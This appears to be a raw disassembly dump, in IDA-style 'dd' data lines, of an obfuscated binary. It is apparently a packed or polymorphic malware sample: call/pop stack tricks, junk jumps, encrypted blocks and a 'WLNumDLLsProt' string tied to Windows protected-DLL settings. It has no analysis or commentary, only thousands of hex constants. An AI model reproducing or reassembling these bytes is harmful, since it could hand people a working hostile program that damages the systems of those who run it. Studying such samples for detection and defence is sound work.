		dd 6C72BF66h, 2E258D8Bh, 606105E7h, 1CDAE6BBh, 0BD8D617Eh
		dd 5E7266Dh, 4799589h, 9D0105E7h, 5E713D1h, 0F98D29ADh
		dd 0E905E70Ch, 6, 2B4359F9h, 4403210Fh,	89602824h, 0E72DD195h
		dd 99952905h, 6105E722h, 68B0FABh, 31000000h, 0E70395BDh
		dd 0B5095E05h, 5E72D6Dh, 38FD8DFFh, 0BD8305E7h,	5E738FDh
		dd 0C7107500h, 1C2444h,	8D000000h, 0E73DD9B5h, 56E6FF05h
		dd 244403ADh, 0DF8B9728h, 7F9858Ah, 0C08405E7h,	73A0474h
		dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh,	0C033D18Bh
		dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h
		dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h
		dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h
		dd 85FF04C6h, 5E725C5h,	0FFFF6FE9h, 89F95EFFh, 0E725C98Dh
		dd 58D8905h, 8B05E731h,	0E725C585h, 66566005h, 0E97DF281h
		dd 8DBD895Ah, 6105E72Bh, 8531E0D1h, 5E731F5h, 0C98D0960h
		dd 0B05E702h, 0E703B58Dh, 85036105h, 5E7266Dh, 0DDDB529h
		dd 0BE05E7h, 89000000h,	0E733559Dh, 890F9605h, 0Eh, 9E9h
		dd 5286200h, 35BB897Ch,	0AD666FFFh, 0FE9h, 76BAF400h, 5CF297Fh
		dd 8D525289h, 0BF5DFB82h, 118E0Fh, 0CE90000h, 43000000h
		dd 644E7089h, 0F7EBF66h, 0C17E813Ah, 8A0F02E0h,	0Bh, 6E9h
		dd 0A7090200h, 3907665h, 0E7127585h, 0E996FC05h, 5, 7A9A75ADh
		dd 8BF5ADC5h, 6024244Ch, 0B8C2B70Fh, 76F69536h,	24440361h
		dd 66576024h, 2958D08Bh, 0E70771B5h, 44896105h,	5E91C24h
		dd 11000000h, 998D13E0h, 9589FC96h, 5E723C9h, 0C932F9ACh
		dd 16D58589h, 0C1FE05E7h, 33618589h, 0D0D005E7h, 0A4830Fh
		dd 14E90000h, 0FD000000h, 373079D9h, 0BF3F0B3Fh, 0DF698791h
		dd 912E5BCFh, 0D04B9540h, 83830FD0h, 0F8000000h, 820FD0D0h
		dd 7Ah,	21A59589h, 0D0D005E7h, 6C820Fh,	0B5310000h, 5E71B9Dh
		dd 0E2DB509h, 0C9FE05E7h, 0FFAC890Fh, 0BD09FFFFh, 5E72EE5h
		dd 2CC1B589h, 0C48305E7h, 0AE920h, 6B80000h, 0FBDE4950h
		dd 7CCAB889h, 0FC2444C7h, 0
		dd 8E9h, 0F322BE00h, 9101192Eh,	1B8D1h,	830F0000h, 6, 2C8D9D89h
		dd 8D8D05E7h, 5E77189h,	13658D29h, 0E1FF05E7h, 13D19D89h
		dd 85C605E7h, 5E707F9h,	498D8900h, 0F05E71Bh, 682h, 0D59D8900h
		dd 6105E731h, 12B98D89h, 8C205E7h, 12E900h, 39EE0000h
		dd 0D28F6F96h, 57095296h, 7E1A0642h, 0B623F13Ch, 1E810F50h
		dd 50000000h, 0F616052h, 11E931h, 40CB0000h, 91721D8Fh
		dd 23E1B23Ch, 50801526h, 5A82D2E3h, 24348958h, 0EE9h, 567A9500h
		dd 782E103h, 0AEDA1052h, 8943E9D1h, 0E73FBBB5h,	8D89F805h
		dd 5E73FC6h, 27458589h,	0B58D05E7h, 5E73E92h, 8E9h, 38730200h
		dd 0F2656B52h, 35858DF8h, 0F005B7Eh, 18Bh, 0D0FFF900h
		dd 9D295EF9h, 5E72AF5h,	419509C3h, 8B05E72Ch, 0E73FBBB5h
		dd 0D853105h, 8B05E70Ch, 0E73FC68Dh, 6D858905h,	0B805E70Dh
		dd 0
		dd 0AD858B60h, 0BA05E701h, 390AF56Dh, 29D98B61h, 0E72B15BDh
		dd 25958905h, 0E905E717h, 0B7h,	0CB5BD89h, 263205E7h, 981B509h
		dd 2B205E7h, 7AE9F5h, 8B600000h, 68D0FDEh, 89000000h, 0E72EE585h
		dd 0C2326105h, 24519501h, 7A0505E7h, 0E98A751Dh, 14h, 800A2AA8h
		dd 1455F37Fh, 0D477406h, 7E02C474h, 1B55C854h, 9CBE6060h
		dd 664B0049h, 613AD5BEh, 0CC8A61FCh, 7E9h, 50911E00h, 5E9A11AAh
		dd 6019D89h, 0C8D305E7h, 7E9h, 0B03D4100h, 0C5BD027Dh
		dd 0D1084235h, 0B70F6098h, 61C1B4D7h, 9D89CAFEh, 5E70B61h
		dd 850FD20Ah, 0FFFFFF8Eh, 0DF816660h, 0B8668C83h, 4B6191A4h
		dd 6830F60h, 8B000000h,	0E701D995h, 0E4F78005h,	0BFC4661h
		dd 47850FDBh, 0FFFFFFFh, 68Ch, 75B53100h, 8905E71Ch, 0E717058Dh
		dd 0E860CF05h, 9, 0FB19983Ah, 35D1C242h, 0C2BF0FCDh, 0C8C2815Eh
		dd 615DD76Fh, 85890000h, 5E70D51h, 0F80000h, 800F6000h
		dd 4, 0E2B5B966h, 2DD19589h, 6105E7h, 9E900h, 741B0000h
		dd 0E16E639Ah, 0F81DCB07h, 3917858Dh, 0B53105E7h, 5E70771h
		dd 31558589h, 8DF505E7h, 0E73E1385h, 68F0F05h, 89000000h
		dd 0E72DD9BDh, 13E905h,	0A8680000h, 0F7BB63BDh,	550BAD96h
		dd 4DEEF97Ch, 4EA3132Eh, 418589D5h, 0E805E725h,	0Fh, 1A2960B0h
		dd 2B3EEBD7h, 421E3578h, 0E8B0A9C7h, 9,	4852EFCCh, 0F41B4C0h
		dd 8D2B60E7h, 5E7321Dh,	820Fh, 59610000h, 81FE8B5Bh, 5B95C3h
		dd 0FCE18100h, 0BE53007Ch, 0
		dd 0FFC0B70Fh, 0D8801E34h, 0DE95A1Eh, 35000000h, 9CF0A57Eh
		dd 12D7EB1Eh, 6846DB38h, 0C96EEA81h, 81F53AADh,	0A8995AF2h
		dd 0E081665Dh, 0C281AF28h, 0C88EAEDh, 21D18166h, 8B6652BBh
		dd 33048FF9h, 23418589h, 853105E7h, 5E70615h, 8B02EE83h
		dd 0E713498Dh, 0F4E4E05h, 284h,	81E38A00h, 0FFA544FEh
		dd 19850FFFh, 0FC000000h, 2CE9h, 0B072A200h, 0EF85B2F8h
		dd 8131E475h, 1205DE8Bh, 7A59F0Eh, 2800F60h, 0B6000000h
		dd 0CE8B66F0h, 0FF6DE961h, 8F85FFFFh, 8DFEEF88h, 14EB56h
		dd 3 dup(0)
		dd 8B000000h, 8D000000h, 0E741D585h, 0D5858905h, 8305E722h
		dd 0E7411EBDh, 840F0005h, 123h,	7F985C6h, 685605E7h, 0DBFD38A1h
		dd 98243481h, 0FF0FE255h, 0E70C25B5h, 17858D05h, 0FF05E739h
		dd 128589D0h, 0C605E741h, 0E707F985h, 0F8685605h, 81D116CEh
		dd 76AA2434h, 0B5FF4DBEh, 5E70C25h, 3917858Dh, 0D0FF05E7h
		dd 41168589h, 46A05E7h,	0BB4F3E68h, 240481E5h, 1A44C0C2h
		dd 4122858Bh, 0F40505E7h, 0C1000001h, 895002E0h, 6A2404h
		dd 411695FFh, 858905E7h, 5E7411Ah, 0FFB8D88Bh, 0FFFFFFFFh
		dd 0E722D595h, 0FFC38B05h, 0E722D595h, 8DE905h,	0BD830000h
		dd 5E7411Eh, 1850F00h, 0C3000000h, 1ABD8B57h, 0AB05E741h
		dd 411A8583h, 5F0405E7h, 1EBD83C3h, 5E741h, 1850Fh, 60C30000h
		dd 411AAD83h, 8B0405E7h, 0E7411A9Dh, 0FC7B8305h, 26850FFFh
		dd 0E8000000h, 4, 8000h, 24448B50h, 89008B04h, 58042444h
		dd 33FF006Ah, 411295FFh, 0C36105E7h, 1DE9h, 6E1A6800h
		dd 481D492h, 6E11E624h,	0FF006A2Bh, 1295FF33h, 8305E741h
		dd 0E7411AADh, 0A8E90405h, 48FFFFFFh, 1ADE9h, 748B6000h
		dd 7C8B2424h, 0B2FC2824h, 46068A80h, 0BB470788h, 2, 850FD202h
		dd 5, 1246168Ah, 0E2830FD2h, 2FFFFFFh, 5850FD2h, 8A000000h
		dd 0D2124616h, 6A830Fh,	0C0330000h, 850FD202h, 5, 1246168Ah
		dd 2A830FD2h, 2000001h,	5850FD2h, 8A000000h, 0D2124616h
		dd 0D202C013h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 0FC013D2h, 684h, 0F82B5700h,	885F078Ah, 2BB4707h, 0E9000000h
		dd 0FFFFFF70h, 1B8h, 0FD20200h,	585h, 46168A00h, 0C013D212h
		dd 850FD202h, 5, 1246168Ah, 0DE820FD2h,	2BFFFFFFh, 1BBC3h
		dd 850F0000h, 34h, 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h
		dd 850FD202h, 5, 1246168Ah, 0DE820FD2h,	56FFFFFFh, 0F52BF78Bh
		dd 0E95EA4F3h, 0FFFFFF08h, 8E0C148h, 8B46068Ah,	1B9E8h
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h
		dd 3D000000h, 500h, 0E820Fh, 56410000h,	0F02BF78Bh, 0E95EA4F3h
		dd 0FFFFFEB4h, 0F7FF883h, 387h,	2C18300h, 2BF78B56h, 5EA4F3F0h
		dd 0FFFE9BE9h, 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h
		dd 0E88B02D1h, 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h
		dd 7C2BFFFFh, 7C892824h, 0C2611C24h, 29BA0008h,	0E9000009h
		dd 9D3h, 0C26DDB06h, 9D818BB6h,	0F2DDB1Ah, 32562AFFh, 6F67616Bh
		dd 58FA6A0h, 0D56EF856h, 3BAC726h, 0CF6DFD5Bh, 958DC9BDh
		dd 5C7FCC08h, 775138EEh, 0C082A64h, 1185ACD0h, 8762F94Bh
		dd 5B8C726h, 0CF6DFE54h, 8892C9A7h, 427FD312h, 604A26F2h
		dd 6F632470h, 1592E0E4h, 0D52FE84Bh, 5AD8927h, 0D66DE840h
		dd 889386A1h, 71D31Ch, 63h dup(0)
		dd 0CB6DDB06h, 8E9D87BCh, 5F7FCC12h, 604224E5h,	69226968h
		dd 12C0B3E1h, 8720F95Dh, 4A1C635h, 0D33FBA51h, 949D87BDh
		dd 41369E1Ah, 674A32B7h, 7871247Bh, 1D85B4F3h, 0F7439616h
		dd 19B5CC3Fh, 0D36DB650h, 9B9B85BDh, 5B369E19h,	7D572DB7h
		dd 646F2464h, 992AFEDh,	0C320FD18h, 19B1DB73h, 0D23FFB41h
		dd 8F9B90F3h, 5D2F9E0Fh, 73572CF8h, 2A64h, 48h dup(0)
		dd 0C56DDB06h, 919788A1h, 5C78CC18h, 7D4A3FB7h,	606A2465h
		dd 1582E0F3h, 0C16EF25Dh, 0EBADC3Ch, 0C838E815h, 9D9A80BDh
		dd 0F31D75Dh, 605024EEh, 727B7729h, 5E8DA5F4h, 0CB1E9132h
		dd 0FA7C836h, 0C838BA19h, 9E9586BFh, 0F2BD75Dh,	7F4A39F1h
		dd 6C676929h, 5099B2EFh, 872AF259h, 1EA7CC21h, 8639E854h
		dd 888186AAh, 402DCE5Dh, 7F4439F0h, 27h, 61h dup(0)
		dd 0CA24DC06h, 9597C9B6h, 5F2ACC0Fh, 33412EE3h,	69562427h
		dd 0C0B3E9h, 0D529F34Ah, 2F4C432h, 0C46DE954h, 0DA9A8CB6h
		dd 4631DF10h, 73493EE7h, 2166617Dh, 5084AEE1h, 0C537FD55h
		dd 3D9A336h, 863EBD41h,	9F9287BAh, 4B3ACA1Eh, 325C29B7h
		dd 68542468h, 5093B5F2h, 0C46EEE57h, 1B7C821h, 8663FE50h
		dd 899D8187h, 4336D85Dh, 7D526BF2h, 21762367h, 1B92AFF7h
		dd 0DE20FD18h, 0FA6C63Eh, 1Bh, 0E0h dup(0)
aWlnumdllsprot	db 'WLNumDLLsProt',0
a0		db '0',0
		dd 8 dup(0)
		dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
		dd 0E9000000h, 2C98h, 0FC56F780h, 8BD68B66h, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 1A8AF75Fh, 94400AEAh, 958B63DDh, 5E719DDh, 0D79BD83h
		dd 750005E7h, 15BD8309h, 5E71Ch, 53501374h, 1B8C08Bh, 8D000000h
		dd 0E9A8D69Dh, 5BD3FF05h, 15BD8358h, 5E71Ch, 53501174h
		dd 1B8h, 879D8D00h, 0FF05E9A7h,	0F5585BD3h, 719D8B50h
		dd 5B05E717h, 25BD8589h, 0C08B05E7h, 3918529h, 0BD8305E7h
		dd 5E732DDh, 0A8840F00h, 60000001h, 172D8D8Bh, 0BF0F05E7h
		dd 0BD8361FFh, 5E7139Dh, 90840F00h, 60000001h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 85C35545h, 4AD7734Fh
		dd 3F22D243h, 2BAD958Bh, 858B05E7h, 5E7139Dh, 7E9h, 0CA63A00h
		dd 1252496Ch, 3E805h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 977456B5h, 0F33D422Ch
		dd 8A50F513h, 240489F5h, 858DD38Bh, 5E74DD9h, 145DB589h
		dd 509005E7h, 0E9525053h, 8, 0F6CBEA65h, 6F1EF8BCh, 0BA66310Fh
		dd 585ABEAEh, 0FE8A905Ah, 4DB7858Dh, 0E38105E7h, 6680DD0Eh
		dd 0D38B6690h, 0FDBA5050h, 5B1598A3h, 65B50990h, 0FF05E705h
		dd 0E7062995h, 75BB6605h, 0CC483C1h, 4DB7858Dh,	958B05E7h
		dd 5E704B9h, 0B8F0F90h,	0F000000h, 581h, 87C5BB00h, 0F5053ABh
		dd 0A89h, 52525000h, 57310F5Bh,	90585A5Bh, 0BD31D78Ah
		dd 5E72631h, 0B589026Ah, 5E71B29h, 0BE9h, 1E73E800h, 134C6230h
		dd 0A8871A79h, 857495FFh, 6A0068h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0DE1A66C3h, 0F3816646h
		dd 0BB66A0AAh, 6A618DB1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0D420C352h,	731728D4h
		dd 46D3803Fh, 19850F60h, 0E9000000h, 14h, 0F7528C9Ah, 8A5633A7h
		dd 0CFD9CB33h, 6FBC5B35h, 6D80A855h, 0BA18D89h,	0C76105E7h
		dd 0E74DEA85h, 105h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 24E36291h, 0F7E2DCDh
		dd 58Ah, 0F2816600h, 830FC6DEh,	6, 176D9D33h, 0E85005E7h
		dd 8, 0DA30A676h, 8D0C9DCEh, 0C56DBA66h, 2434895Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 93C35747h, 8BFBD09Fh
		dd 68F0Fh, 85310000h, 5E72451h,	4D9BB589h, 0F38005E7h
		dd 0F1BD834Bh, 105E707h, 36850Fh, 0D68B0000h, 0F05F883h
		dd 2B85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 8AA72CEAh, 0B8D3h, 958B0000h, 5E71C31h
		dd 0B79BD83h, 0F0005E7h, 3184h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 6C82A419h
		dd 0B84667h, 60000000h,	7789C881h, 0D9805A50h, 6660619Ch
		dd 858BD38Bh, 5E70651h,	83D8BF0Fh, 12E902C0h, 0B5000000h
		dd 0A29061E3h, 0A97C2514h, 8A02186Fh, 28507F27h, 93858963h
		dd 6A05E74Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 4396C350h, 573F333Eh, 164E72A8h
		dd 11E9h, 71DD4200h, 0CFCE9C80h, 41B74BD0h, 0B863CCA8h
		dd 0C63594h, 8166F8FFh,	0C60481EAh, 0E707F985h,	9D015305h
		dd 5E71355h, 0FF7E668h,	8B5250FBh, 0F310FD3h, 683h, 830F00h
		dd 5A000000h, 24348158h, 7BEBF3Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 48C35545h, 5AF950D6h, 0B5FFEF9Eh
		dd 5E72DC5h, 28C0F57h, 8B000000h, 858D5BD7h, 5EA7963h
		dd 7A19589h, 0D0FF05E7h, 89D18B66h, 0E71A1D85h,	0D5958905h
		dd 8305E704h, 0E7261DBDh, 850F0105h, 0E9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 8EC35040h, 645665C7h
		dd 0DE28BB66h, 53006A61h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 5DED00D1h, 9EACF2F1h
		dd 85C6D18Bh, 5E707F9h,	57006A45h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0C78C68F7h, 3481C0F0h
		dd 90FF4E24h, 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 3B687724h, 0FFFC3DD5h, 0E72DC5B5h
		dd 0D3DB8105h, 8D3B77B5h, 0EA796385h, 8B665205h, 7E95ADAh
		dd 37000000h, 5029A651h, 0D0FFE1D2h, 8EE8BB66h,	6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0AF94DAC3h, 0B70FD0FFh, 0DDBD83D2h, 105E700h, 0BA850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0A61C19C3h, 0CA81664Eh, 858BB0EFh, 5E70651h
		dd 89ABDA80h, 0E71A1195h, 45E905h, 0B5890000h, 5E701D1h
		dd 2840F50h, 8B000000h,	240489D0h, 13859D8Bh, 146A05E7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 7EC35545h
		dd 1A1D95FFh, 0F9B205E7h, 359D8958h, 8005E720h,	850F0038h
		dd 0FFFFFFB8h, 58D0Fh, 5FBB0000h, 0C616258Bh, 6A0100h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 910E2CC3h, 0BC936BA0h, 0D68B66E7h, 0ED9D8B61h, 8305E706h
		dd 0E70775BDh, 840F0005h, 48h, 6850Fh, 8D290000h, 5E72CF1h
		dd 8166FF6Ah, 0FFCF0AC3h, 0E71A1D95h, 4C1EBB05h, 0E9E9217Ch
		dd 6AFFFFFFh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 4F2EC352h, 98C6702h, 659CEDD9h
		dd 77585C7h, 105E7h, 0F600000h,	48Bh, 66B86600h, 61E18A0Dh
		dd 4D9F8589h, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0CA4C0BC3h, 23C7ECF8h, 128C0Fh
		dd 0DE90000h, 0D2000000h, 301120D9h, 23B1979Fh,	15B4C4F6h
		dd 558D8B60h, 8B05E705h, 0E7011195h, 0F906105h,	487h, 0B2BA6600h
		dd 52505044h, 12E9h, 0E5468E00h, 766E5E50h, 28FC558Bh
		dd 0DA03216Fh, 0FE7919Fh, 0D47ABA31h, 585A2084h, 0D7B70F90h
		dd 29D1958Bh, 0BA6005E7h, 7677C95Bh, 9D8B056Ah,	5E72BADh
		dd 4DB7858Dh, 9D8B05E7h, 5E70C21h, 0BEBA6690h, 57B750FCh
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 94617F7Eh, 0B70F048Ch, 8DF48AD0h, 0E74DA785h
		dd 11950905h, 9005E71Bh, 9E8h, 0C4425D00h, 35A350C0h, 3CBBACD7h
		dd 5B155B30h, 14E850h, 15D40000h, 0A52955A6h, 3D5D921h
		dd 0E901416Eh, 73CD3A93h, 830F9EEDh, 3,	5BD68B66h, 1D958B90h
		dd 0FF05E732h, 0E7088195h, 4D9D8B05h, 8D05E72Ch, 0E77A388Dh
		dd 14E905h, 4230000h, 5DB30E3Eh, 28929EE7h, 60C65215h
		dd 680066EFh, 65B34A2Ah, 1174C00Bh, 4DB7858Dh, 0FF5005E7h
		dd 0D58589D1h, 0EB05E74Dh, 0D585C70Ah, 0FF05E74Dh, 6AFFFFFFh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 1758C353h, 13445563h, 411BD31h
		dd 6A6105E7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 3B32C356h, 6BD222D7h, 0FC38A3E5h
		dd 7F985C6h, 0F4D05E7h,	38Ch, 59EB8000h, 6E321368h, 0FE994h
		dd 0D6B0000h, 0FB1039D0h, 0D59D81CBh, 47733F2Fh, 24348102h
		dd 305B44BBh, 0C5B5FFF9h, 6A05E703h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 6137C357h
		dd 80D1365Ch, 8D297BE6h, 5E72F1Dh, 7963858Dh, 0B70F05EAh
		dd 6AD0FFD3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 5D94C355h, 0E835F612h,	0Ah, 7324397Ch
		dd 0D6AE591Ah, 0E960BE6Eh, 11h,	9E26FA9Ch, 683F5E83h, 73E9A133h
		dd 0C58AB8C9h, 0EE950h,	7C180000h, 3D6975D2h, 869E628h
		dd 7C0449E6h, 85895A61h, 5E70AA9h, 0F9D88B66h, 7F985C6h
		dd 8B4505E7h, 0E7248995h, 0A9DC6805h, 84B37602h, 8D240481h
		dd 6A186FBFh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 9C42C353h, 28F70DF0h, 0DF80D4C0h
		dd 0C5B5FFAAh, 6A05E72Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0A273C352h,	0F5DBA25h
		dd 858DD1BFh, 5EA7963h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 9CC35343h, 0B7AF6654h, 0BB61BC75h, 0A3F8FCBAh
		dd 89D0FF65h, 0E70DF995h, 0D1858905h, 905E727h,	0E7213985h
		dd 6AD28B05h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0D40FC357h, 92CB8165h,	6620E2DDh
		dd 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0D24C13C3h, 8D9D8B65h, 8005E705h,	0C1F6CECBh
		dd 48840F04h, 31000002h, 0E72DD1BDh, 132E905h, 14E90000h
		dd 99000000h, 930283A2h, 97A71BE5h, 0C301DB49h,	9386EF00h
		dd 8BA0CDE9h, 0E72A59B5h, 0DBBF0F05h, 1180C681h, 860F0000h
		dd 0Ch,	68E0Fh,	0B5010000h, 5E70D15h, 0D4DBD83h, 0F0005E7h
		dd 3885h, 6E900h, 75D90000h, 0EEAD8B2Eh, 0B3E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 345D2E6Fh, 3BBDB0FDh, 0E28076A8h, 3E8325h, 82840Fh
		dd 9D8B0000h, 5E70ED1h,	959D8B60h, 6A05E701h, 57006A14h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 28C2A3E7h, 441502E5h, 66606053h, 512048BAh, 9D8B6159h
		dd 5E72475h, 28A0F61h, 8A000000h, 1D95FFF4h, 6105E71Ah
		dd 0FF9FE9F9h, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 40D9B2C3h, 1245958Bh, 9D8B05E7h
		dd 5E72359h, 106C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 7085CDC3h, 7DF90D8Ah
		dd 4D9FBD83h, 0F0505E7h, 0FE85h, 499D2300h, 0E805E723h
		dd 0Bh,	7C550BADh, 2E4DEEF9h, 0F4EA313h, 8B5AD8B7h, 0E727D1B5h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 63943E6Ah, 4E4ABB66h, 64B9F18Ah,	80000000h
		dd 840FE83Eh, 0Eh, 0E9D2BF0Fh, 36h, 20FD9D8Bh, 7E8005E7h
		dd 840FC205h, 87h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 22C35242h, 8B6604CFh,	0B12DBBDEh, 50460262h
		dd 0FE9h, 0E2AA8300h, 0B788271Dh, 49A11354h, 48AA617Dh
		dd 850F495Ah, 0FFFFFF9Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 22C35646h, 7F34C727h,	28E94907h, 0E9000000h
		dd 0Fh,	0A36E7519h, 33712E7Bh, 0FC4DFF8h, 505979A0h, 0D49B529h
		dd 895B05E7h, 0E70C7DB5h, 0E5BD8905h, 5805E702h, 107EF80h
		dd 0E7064DB5h, 0A5BD8305h, 5E724h, 103840Fh, 60FC0000h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0C6C35646h
		dd 87C613A3h, 0C6CB5C84h, 0E707F985h, 13E95405h, 2A000000h
		dd 0B7659E30h, 5089632Bh, 7ACA0672h, 0CF4EBD95h, 63681850h
		dd 66A679E9h, 819260BAh, 57972434h, 0B70F5937h,	0C5B5FFD9h
		dd 8905E72Dh, 0E72F5185h, 11E905h, 25BE0000h, 7CCBE80Eh
		dd 0F407C497h, 0B84B8361h, 8D3A9CACh, 0EA796385h, 0CD950905h
		dd 0FF05E726h, 0D98B66D0h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 63D40DC3h
		dd 840FF940h, 0Fh, 0E8F28B60h, 5, 8341E02Fh, 0FF61586Bh
		dd 0E724A5B5h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0CA00F8BEh, 375958Bh
		dd 0B70F05E7h, 66D0FFDAh, 36E7E381h, 6880F61h, 1000000h
		dd 0E7257D8Dh, 1D85C705h, 105E721h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0A6EAC356h, 0CE9FCh,	3A180000h, 85748CE4h, 0E867031h
		dd 0D2812ACBh, 9979665h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9589BDFDh, 5E708BDh, 7D68DC8Ah
		dd 0B7F028CEh, 240481BAh, 0FD73203h, 22D1BD29h,	0FF6A05E7h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0BC35343h
		dd 340A06B2h, 958B75F0h, 5E704A1h, 218595FFh, 0BA6605E7h
		dd 6A613038h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 8C6CC350h, 75CC1A9Ch, 0FEBA6690h
		dd 616050F4h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 2E9FB1BBh, 8E9D50Dh, 12000000h, 5EECA1ECh
		dd 8B13B912h, 0E72C9185h, 3D958B05h, 0B05E725h,	7E840FC0h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 1499C357h, 4D9C156Ah, 13E8DC8Ah
		dd 0F5000000h, 2AA9D1EEh, 3BFA1F1h, 0DAD3D158h,	3C61978Fh
		dd 0EA81E062h, 6BCEDB48h, 0C595FF5Ah, 6A05E723h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 8D6CC353h, 6165386Ch, 66606002h, 1BFF5BFh, 0E719D1BDh
		dd 9D896105h, 5E70CC1h,	4985C761h, 105E727h, 81000000h
		dd 8FAEEEEAh, 83DF8B25h, 0E7006DBDh, 840F0005h,	13h, 6626B560h
		dd 0FF61CF8Bh, 0E726D995h, 0E2C38105h, 836B9400h, 0E70D71BDh
		dd 840F0005h, 0Eh, 26458D89h, 95FF05E7h, 5E713BDh, 0BD83DA8Ah
		dd 5E71389h, 72840F00h,	66000000h, 0BD83DA8Bh, 5E7157Dh
		dd 62850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0B749C356h,	0CD587F5Fh
		dd 12E9D099h, 3E000000h, 4F75B0A5h, 0ED02CD63h,	432C4657h
		dd 44D0624Ch, 0FD95FF2Ch, 6A05E726h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0DC69C357h
		dd 6102F9E8h, 0B1BD8341h, 5E72Bh, 3B840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 6554B1C3h, 81F961C5h, 0E713D585h, 400305h, 81C2B200h
		dd 0E70F2D85h, 400305h,	6ABA6600h, 6A310F9Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
